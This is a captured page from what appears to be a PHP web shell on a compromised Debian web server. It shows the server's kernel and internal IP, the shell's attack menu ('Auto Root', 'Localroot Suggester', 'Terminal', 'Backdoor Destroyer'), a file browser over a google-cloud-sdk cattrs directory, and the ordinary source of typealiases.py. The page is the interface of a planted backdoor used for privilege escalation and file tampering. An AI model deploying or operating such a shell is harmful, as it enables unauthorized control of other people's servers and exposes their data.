Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
google-cloud-sdk /
lib /
third_party /
cattrs /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
gen
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
preconf
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
strategies
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
LICENSE
1.05
KB
-rw-r--r--
1980-01-01 08:00
__init__.py
1.86
KB
-rw-r--r--
1980-01-01 08:00
_compat.py
12.66
KB
-rw-r--r--
1980-01-01 08:00
_generics.py
966
B
-rw-r--r--
1980-01-01 08:00
cols.py
10.11
KB
-rw-r--r--
1980-01-01 08:00
converters.py
53.97
KB
-rw-r--r--
1980-01-01 08:00
disambiguators.py
6.7
KB
-rw-r--r--
1980-01-01 08:00
dispatch.py
6.62
KB
-rw-r--r--
1980-01-01 08:00
errors.py
4.24
KB
-rw-r--r--
1980-01-01 08:00
fns.py
626
B
-rw-r--r--
1980-01-01 08:00
literals.py
331
B
-rw-r--r--
1980-01-01 08:00
py.typed
0
B
-rw-r--r--
1980-01-01 08:00
subclasses.py
783
B
-rw-r--r--
1980-01-01 08:00
typealiases.py
1.58
KB
-rw-r--r--
1980-01-01 08:00
types.py
278
B
-rw-r--r--
1980-01-01 08:00
v.py
4.03
KB
-rw-r--r--
1980-01-01 08:00
Save
Rename
"""Utilities for type aliases.""" from __future__ import annotations import sys from typing import TYPE_CHECKING, Any from ._compat import is_generic from ._generics import deep_copy_with from .dispatch import StructureHook from .gen._generics import generate_mapping if TYPE_CHECKING: from .converters import BaseConverter __all__ = ["get_type_alias_base", "is_type_alias", "type_alias_structure_factory"] if sys.version_info >= (3, 12): from types import GenericAlias from typing import TypeAliasType def is_type_alias(type: Any) -> bool: """Is this a PEP 695 type alias?""" return isinstance( type.__origin__ if type.__class__ is GenericAlias else type, TypeAliasType ) else: def is_type_alias(type: Any) -> bool: """Is this a PEP 695 type alias?""" return False def get_type_alias_base(type: Any) -> Any: """ What is this a type alias of? Works only on 3.12+. """ return type.__value__ def type_alias_structure_factory(type: Any, converter: BaseConverter) -> StructureHook: base = get_type_alias_base(type) if is_generic(type): mapping = generate_mapping(type) if base.__name__ in mapping: # Probably just type T = T base = mapping[base.__name__] else: base = deep_copy_with(base, mapping) res = converter.get_structure_hook(base) if res == converter._structure_call: # we need to replace the type arg of `structure_call` return lambda v, _, __base=base: __base(v) return lambda v, _, __base=base: res(v, __base)